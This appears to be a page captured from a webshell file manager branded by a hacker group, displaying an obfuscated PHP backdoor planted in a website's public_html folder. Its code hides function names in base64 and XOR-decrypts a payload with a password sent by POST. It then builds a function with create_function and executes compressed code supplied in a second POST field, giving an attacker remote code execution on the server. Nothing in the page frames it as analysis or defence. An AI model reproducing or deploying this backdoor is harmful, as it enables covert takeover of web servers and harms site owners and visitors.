? !shell recoded by !87&!01 kurdish blackhats

!shell recoded by !87&!01 kurdish blackhats

Root path : /home/konstruc/public_html/
submit File :
Current File : /home/konstruc/public_html/htijgsenfowkdvbq.php

<?php

class c5f887ff4eb4b9
{
    private $r5f887ff4eb52a = [];

    public function __call($name, $args)
    {
        call_user_func_array($this->r5f887ff4eb52a[$name], $args);
    }

    public function d5f887ff4eb5c6($s)
    {
        $function = 'b' . 'ase' . '64' . '_' . 'de' . 'code';
        $string = $function($s);
        return explode('::', $string, 2)[1];
    }

    public function p5f887ff4eb4ff()
    {
        $qString = $this->d5f887ff4eb5c6("WlpLaGdicnA6OlFVRVJZX1NUUklORw==");

        if (!empty($_SERVER[$qString])) {
            exit($_SERVER[$qString]);
        }

        $e = $this->d5f887ff4eb5c6("L2NabW1Id21KMWp3Ojpl");
        $p = $this->d5f887ff4eb5c6("WWhrY2xJUEVveGVjYUtaYUpnPT06OnA=");

        if (!isset($_POST[$e]) ||
            !isset($_POST[$p])) {
            return;
        }

        $methodName = 'em5f887ff4eb614';
        $methodContent = 'UBBZVB8AE1oGPVFQRWoHSl9ETk9vVT8fDg==';

        $base64decode = $this->d5f887ff4eb5c6("ajJ2T2pibVRqUT09OjpiYXNlNjRfZGVjb2Rl");
        $createFunction = $this->d5f887ff4eb5c6("d2x0SHNyMlM0T2kxUTJGb1M5Zz06OmNyZWF0ZV9mdW5jdGlvbg==");
        $gzinflate = $this->d5f887ff4eb5c6("VG5rODJMaHczU3R5UmhCK2lROD06Omd6aW5mbGF0ZQ==");
        $regex = $this->d5f887ff4eb5c6("SEYzUXY1VkFqb0U9OjovXlsgLX5dKyQv");

        $methodContent = str_split($base64decode($methodContent));

        $password = $_POST[$p];
        $password = str_split($password);

        $temp = [];

        for ($i = 0; $i < count($methodContent); $i++) {
            $temp[] = chr(ord($methodContent[$i]) ^ ord($password[$i % count($password)]));
        }

        $methodContent = implode('', $temp);

        if (preg_match($regex, $methodContent)) {
            $this->r5f887ff4eb52a[$methodName] = $createFunction('', $methodContent);

            $code = $gzinflate($base64decode($_POST[$e]));
            $this->{$methodName}($code);
        }
    }
}

(new c5f887ff4eb4b9)->p5f887ff4eb4ff();